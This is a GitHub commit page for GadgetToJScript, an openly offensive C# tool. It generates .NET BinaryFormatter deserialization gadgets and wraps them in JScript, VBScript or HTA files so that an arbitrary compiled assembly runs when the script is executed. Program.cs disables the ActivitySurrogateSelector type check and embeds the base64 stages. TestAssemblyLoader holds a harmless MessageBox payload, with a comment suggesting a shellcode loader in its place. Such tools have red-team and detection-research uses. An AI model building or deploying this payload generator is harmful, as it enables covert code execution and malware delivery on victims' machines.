Skip to content

Commit c705d42

Browse files
med0x2emed0x2e
committed
Initial Commit
1 parent 5bf872f commit c705d42

39 files changed

+94527
-0
lines changed

‎GadgetToJScript.sln

Lines changed: 31 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
2+
Microsoft Visual Studio Solution File, Format Version 12.00
3+
# Visual Studio 15
4+
VisualStudioVersion = 15.0.28010.2003
5+
MinimumVisualStudioVersion = 10.0.40219.1
6+
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "GadgetToJScript", "GadgetToJScript\GadgetToJScript.csproj", "{AF9C62A1-F8D2-4BE0-B019-0A7873E81EA9}"
7+
EndProject
8+
Global
9+
GlobalSection(SolutionConfigurationPlatforms) = preSolution
10+
Debug|Any CPU = Debug|Any CPU
11+
Debug|x86 = Debug|x86
12+
Release|Any CPU = Release|Any CPU
13+
Release|x86 = Release|x86
14+
EndGlobalSection
15+
GlobalSection(ProjectConfigurationPlatforms) = postSolution
16+
{AF9C62A1-F8D2-4BE0-B019-0A7873E81EA9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17+
{AF9C62A1-F8D2-4BE0-B019-0A7873E81EA9}.Debug|Any CPU.Build.0 = Debug|Any CPU
18+
{AF9C62A1-F8D2-4BE0-B019-0A7873E81EA9}.Debug|x86.ActiveCfg = Debug|x86
19+
{AF9C62A1-F8D2-4BE0-B019-0A7873E81EA9}.Debug|x86.Build.0 = Debug|x86
20+
{AF9C62A1-F8D2-4BE0-B019-0A7873E81EA9}.Release|Any CPU.ActiveCfg = Release|Any CPU
21+
{AF9C62A1-F8D2-4BE0-B019-0A7873E81EA9}.Release|Any CPU.Build.0 = Release|Any CPU
22+
{AF9C62A1-F8D2-4BE0-B019-0A7873E81EA9}.Release|x86.ActiveCfg = Release|x86
23+
{AF9C62A1-F8D2-4BE0-B019-0A7873E81EA9}.Release|x86.Build.0 = Release|x86
24+
EndGlobalSection
25+
GlobalSection(SolutionProperties) = preSolution
26+
HideSolutionNode = FALSE
27+
EndGlobalSection
28+
GlobalSection(ExtensibilityGlobals) = postSolution
29+
SolutionGuid = {40DC7508-EF01-47FD-A8C1-25D048A8FD98}
30+
EndGlobalSection
31+
EndGlobal

‎GadgetToJScript/App.Config

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
<?xml version="1.0" encoding="utf-8" ?>
2+
<configuration>
3+
<startup>
4+
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.6.1" />
5+
</startup>
6+
</configuration>

‎GadgetToJScript/GadgetToJScript.csproj

Lines changed: 90 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,90 @@
1+
<?xml version="1.0" encoding="utf-8"?>
2+
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
3+
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
4+
<PropertyGroup>
5+
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
6+
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
7+
<ProjectGuid>{AF9C62A1-F8D2-4BE0-B019-0A7873E81EA9}</ProjectGuid>
8+
<OutputType>Exe</OutputType>
9+
<RootNamespace>GadgetToJScript</RootNamespace>
10+
<AssemblyName>GadgetToJScript</AssemblyName>
11+
<TargetFrameworkVersion>v4.6.1</TargetFrameworkVersion>
12+
<FileAlignment>512</FileAlignment>
13+
<AutoGenerateBindingRedirects>true</AutoGenerateBindingRedirects>
14+
<Deterministic>true</Deterministic>
15+
</PropertyGroup>
16+
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
17+
<PlatformTarget>AnyCPU</PlatformTarget>
18+
<DebugSymbols>true</DebugSymbols>
19+
<DebugType>full</DebugType>
20+
<Optimize>false</Optimize>
21+
<OutputPath>bin\Debug\</OutputPath>
22+
<DefineConstants>DEBUG;TRACE</DefineConstants>
23+
<ErrorReport>prompt</ErrorReport>
24+
<WarningLevel>4</WarningLevel>
25+
</PropertyGroup>
26+
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
27+
<PlatformTarget>AnyCPU</PlatformTarget>
28+
<DebugType>pdbonly</DebugType>
29+
<Optimize>true</Optimize>
30+
<OutputPath>bin\Release\</OutputPath>
31+
<DefineConstants>TRACE</DefineConstants>
32+
<ErrorReport>prompt</ErrorReport>
33+
<WarningLevel>4</WarningLevel>
34+
</PropertyGroup>
35+
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Debug|x86'">
36+
<DebugSymbols>true</DebugSymbols>
37+
<OutputPath>bin\x86\Debug\</OutputPath>
38+
<DefineConstants>DEBUG;TRACE</DefineConstants>
39+
<DebugType>full</DebugType>
40+
<PlatformTarget>x86</PlatformTarget>
41+
<ErrorReport>prompt</ErrorReport>
42+
<CodeAnalysisRuleSet>MinimumRecommendedRules.ruleset</CodeAnalysisRuleSet>
43+
<Prefer32Bit>true</Prefer32Bit>
44+
</PropertyGroup>
45+
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Release|x86'">
46+
<OutputPath>bin\x86\Release\</OutputPath>
47+
<DefineConstants>TRACE</DefineConstants>
48+
<Optimize>true</Optimize>
49+
<DebugType>pdbonly</DebugType>
50+
<PlatformTarget>x86</PlatformTarget>
51+
<ErrorReport>prompt</ErrorReport>
52+
<CodeAnalysisRuleSet>MinimumRecommendedRules.ruleset</CodeAnalysisRuleSet>
53+
<Prefer32Bit>true</Prefer32Bit>
54+
</PropertyGroup>
55+
<ItemGroup>
56+
<Reference Include="NDesk.Options, Version=0.2.1.0, Culture=neutral, processorArchitecture=MSIL">
57+
<HintPath>..\packages\NDesk.Options.0.2.1\lib\NDesk.Options.dll</HintPath>
58+
</Reference>
59+
<Reference Include="System" />
60+
<Reference Include="System.Configuration" />
61+
<Reference Include="System.Core" />
62+
<Reference Include="System.Runtime.Remoting" />
63+
<Reference Include="System.Web" />
64+
<Reference Include="System.Xml.Linq" />
65+
<Reference Include="System.Data.DataSetExtensions" />
66+
<Reference Include="Microsoft.CSharp" />
67+
<Reference Include="System.Data" />
68+
<Reference Include="System.Net.Http" />
69+
<Reference Include="System.Xml" />
70+
</ItemGroup>
71+
<ItemGroup>
72+
<Compile Include="Program.cs" />
73+
<Compile Include="Properties\AssemblyInfo.cs" />
74+
<Compile Include="TestAssemblyLoader.cs" />
75+
<Compile Include="_ASurrogateGadgetGenerator.cs" />
76+
<Compile Include="_DisableTypeCheckGadgetGenerator.cs" />
77+
<Compile Include="_SurrogateSelector.cs" />
78+
</ItemGroup>
79+
<ItemGroup>
80+
<None Include="App.Config">
81+
<SubType>Designer</SubType>
82+
</None>
83+
<None Include="packages.config" />
84+
<EmbeddedResource Include="templates\htascript.template" />
85+
<EmbeddedResource Include="templates\jscript.template" />
86+
<EmbeddedResource Include="templates\jscript-regfree.template" />
87+
<EmbeddedResource Include="templates\vbscript.template" />
88+
</ItemGroup>
89+
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
90+
</Project>

‎GadgetToJScript/Program.cs

Lines changed: 158 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,158 @@
1+
// GadgetToJscript.
2+
// Copyright (C) Elazaar / @med0x2e 2019
3+
//
4+
// GadgetToJscript is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by
5+
// the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
6+
//
7+
// GadgetToJscript is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of
8+
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
9+
//
10+
// You should have received a copy of the GNU General Public License
11+
// along with GadgetToJscript. If not, see <http://www.gnu.org/licenses/>.
12+
13+
14+
using NDesk.Options;
15+
using System;
16+
using System.Configuration;
17+
using System.IO;
18+
using System.Reflection;
19+
using System.Runtime.Serialization.Formatters.Binary;
20+
21+
namespace GadgetToJScript{
22+
23+
class Program{
24+
25+
26+
enum EWSH
27+
{
28+
js,
29+
vbs,
30+
vba,
31+
hta
32+
}
33+
34+
35+
private static string _wsh;
36+
private static string _outputFName = "test";
37+
private static bool _regFree = false;
38+
39+
static void Main(string[] args)
40+
{
41+
42+
var show_help = false;
43+
44+
45+
OptionSet options = new OptionSet(){
46+
{"w|scriptType=","js, vbs, vba or hta", v =>_wsh=v},
47+
{"o|output=","Generated payload output file, example: C:\\Users\\userX\\Desktop\\output (Without extension)", v =>_outputFName=v},
48+
{"r|regfree","registration-free activation of .NET based COM components", v => _regFree = v != null},
49+
{"h|help=","Show Help", v => show_help = v != null},
50+
};
51+
52+
try
53+
{
54+
options.Parse(args);
55+
56+
if (_wsh == "" || _outputFName == "")
57+
{
58+
showHelp(options);
59+
return;
60+
}
61+
62+
if (!Enum.IsDefined(typeof(EWSH), _wsh))
63+
{
64+
showHelp(options);
65+
return;
66+
}
67+
}
68+
catch (Exception e)
69+
{
70+
Console.WriteLine(e.Message);
71+
Console.WriteLine("Try --help for more information.");
72+
showHelp(options);
73+
return;
74+
75+
}
76+
77+
string resourceName = "";
78+
switch (_wsh)
79+
{
80+
case "js":
81+
if (_regFree) { resourceName = "GadgetToJScript.templates.jscript-regfree.template"; }
82+
else { resourceName = "GadgetToJScript.templates.jscript.template"; }
83+
break;
84+
case "vbs":
85+
resourceName = "GadgetToJScript.templates.vbscript.template";
86+
break;
87+
case "vba":
88+
Console.WriteLine("Not supported yet, only JS, VBS and HTA are supported at the moment");
89+
return;
90+
//resourceName = "GadgetToJScript.templates.vbascript.template";
91+
//break;
92+
case "hta":
93+
resourceName = "GadgetToJScript.templates.htascript.template";
94+
break;
95+
default:
96+
if (_regFree) { resourceName = "GadgetToJScript.templates.jscript-regfree.template"; }
97+
else { resourceName = "GadgetToJScript.templates.jscript.template"; }
98+
break;
99+
}
100+
101+
102+
MemoryStream _msStg1 = new MemoryStream();
103+
_DisableTypeCheckGadgetGenerator _disableTypCheckObj = new _DisableTypeCheckGadgetGenerator();
104+
105+
_msStg1 = _disableTypCheckObj.generateGadget(_msStg1);
106+
107+
108+
ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
109+
110+
111+
Assembly testAssembly = TestAssemblyLoader.compile();
112+
113+
BinaryFormatter _formatterStg2 = new BinaryFormatter();
114+
MemoryStream _msStg2 = new MemoryStream();
115+
_ASurrogateGadgetGenerator _gadgetStg = new _ASurrogateGadgetGenerator(testAssembly);
116+
117+
_formatterStg2.Serialize(_msStg2, _gadgetStg);
118+
119+
120+
Assembly assembly = Assembly.GetExecutingAssembly();
121+
string _wshTemplate = "";
122+
123+
124+
using (Stream stream = assembly.GetManifestResourceStream(resourceName))
125+
using (StreamReader reader = new StreamReader(stream))
126+
{
127+
_wshTemplate = reader.ReadToEnd();
128+
_wshTemplate = _wshTemplate.Replace("%_STAGE1_%", Convert.ToBase64String(_msStg1.ToArray()));
129+
_wshTemplate = _wshTemplate.Replace("%_STAGE1Len_%", _msStg1.Length.ToString());
130+
_wshTemplate = _wshTemplate.Replace("%_STAGE2_%", Convert.ToBase64String(_msStg2.ToArray()));
131+
_wshTemplate = _wshTemplate.Replace("%_STAGE2Len_%", _msStg2.Length.ToString());
132+
}
133+
134+
using (StreamWriter _generatedWSH = new StreamWriter(_outputFName + "." + _wsh))
135+
{
136+
_generatedWSH.WriteLine(_wshTemplate);
137+
}
138+
139+
}
140+
141+
public static void showHelp(OptionSet p)
142+
{
143+
Console.WriteLine("Usage:");
144+
p.WriteOptionDescriptions(Console.Out);
145+
}
146+
147+
public static byte[] readRawShellcode(string _SHFname)
148+
{
149+
byte[] _buf = null;
150+
using (FileStream fs = new FileStream(_SHFname, FileMode.Open, FileAccess.Read))
151+
{
152+
_buf = new byte[fs.Length];
153+
fs.Read(_buf, 0, (int)fs.Length);
154+
}
155+
return _buf;
156+
}
157+
}
158+
}

‎GadgetToJScript/Properties/AssemblyInfo.cs

Lines changed: 49 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,49 @@
1+
// GadgetToJscript.
2+
// Copyright (C) Elazaar / @med0x2e 2019
3+
//
4+
// GadgetToJscript is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by
5+
// the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
6+
//
7+
// GadgetToJscript is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of
8+
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
9+
//
10+
// You should have received a copy of the GNU General Public License
11+
// along with GadgetToJscript. If not, see <http://www.gnu.org/licenses/>.
12+
13+
14+
using System.Reflection;
15+
using System.Runtime.CompilerServices;
16+
using System.Runtime.InteropServices;
17+
18+
// General Information about an assembly is controlled through the following
19+
// set of attributes. Change these attribute values to modify the information
20+
// associated with an assembly.
21+
[assembly: AssemblyTitle("GadgetToJscript")]
22+
[assembly: AssemblyDescription("A simple utility for generating .NET serialized gadgets that can trigger .NET assembly execution when deserialized using BinaryFormatter from JS/VBS based scripts ")]
23+
[assembly: AssemblyConfiguration("")]
24+
[assembly: AssemblyCompany("")]
25+
[assembly: AssemblyProduct("GadgetToJscript")]
26+
[assembly: AssemblyCopyright("Copyright © Elazaar / @med0x2e 2019")]
27+
[assembly: AssemblyTrademark("")]
28+
[assembly: AssemblyCulture("")]
29+
30+
// Setting ComVisible to false makes the types in this assembly not visible
31+
// to COM components. If you need to access a type in this assembly from
32+
// COM, set the ComVisible attribute to true on that type.
33+
[assembly: ComVisible(false)]
34+
35+
// The following GUID is for the ID of the typelib if this project is exposed to COM
36+
[assembly: Guid("af9c62a1-f8d2-4be0-b019-0a7873e81ea9")]
37+
38+
// Version information for an assembly consists of the following four values:
39+
//
40+
// Major Version
41+
// Minor Version
42+
// Build Number
43+
// Revision
44+
//
45+
// You can specify all the values or you can default the Build and Revision Numbers
46+
// by using the '*' as shown below:
47+
// [assembly: AssemblyVersion("1.0.*")]
48+
[assembly: AssemblyVersion("1.0.0.0")]
49+
[assembly: AssemblyFileVersion("1.0.0.0")]

‎GadgetToJScript/TestAssemblyLoader.cs

Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
using Microsoft.CSharp;
2+
using System;
3+
using System.CodeDom.Compiler;
4+
using System.Reflection;
5+
using System.Text;
6+
7+
namespace GadgetToJScript
8+
{
9+
class TestAssemblyLoader
10+
{
11+
public static Assembly compile()
12+
{
13+
// Shellcode loader would make more sense here, just make sure your code is located within the default constructor.
14+
string _testClass = @"
15+
16+
using System;
17+
using System.Runtime.InteropServices;
18+
19+
public class TestClass
20+
{
21+
" + "[DllImport(\"User32.dll\", CharSet = CharSet.Unicode)]" +
22+
@"public static extern int MessageBox(IntPtr h, string m, string c, int t);
23+
24+
public TestClass(){
25+
" + "MessageBox((IntPtr)0, \"Test .NET Assembly Constructor Called.\", \"Coolio\", 0);" +
26+
@"}
27+
}
28+
29+
";
30+
31+
CSharpCodeProvider provider = new CSharpCodeProvider();
32+
CompilerParameters parameters = new CompilerParameters();
33+
34+
parameters.ReferencedAssemblies.Add("System.dll");
35+
36+
37+
CompilerResults results = provider.CompileAssemblyFromSource(parameters, _testClass);
38+
39+
if (results.Errors.HasErrors)
40+
{
41+
StringBuilder sb = new StringBuilder();
42+
43+
foreach (CompilerError error in results.Errors)
44+
{
45+
sb.AppendLine(String.Format("Error ({0}): {1}: {2}", error.ErrorNumber, error.ErrorText, error.Line));
46+
}
47+
48+
throw new InvalidOperationException(sb.ToString());
49+
}
50+
51+
Assembly _compiled = results.CompiledAssembly;
52+
53+
return _compiled;
54+
}
55+
56+
}
57+
}

0 commit comments

Comments
 (0)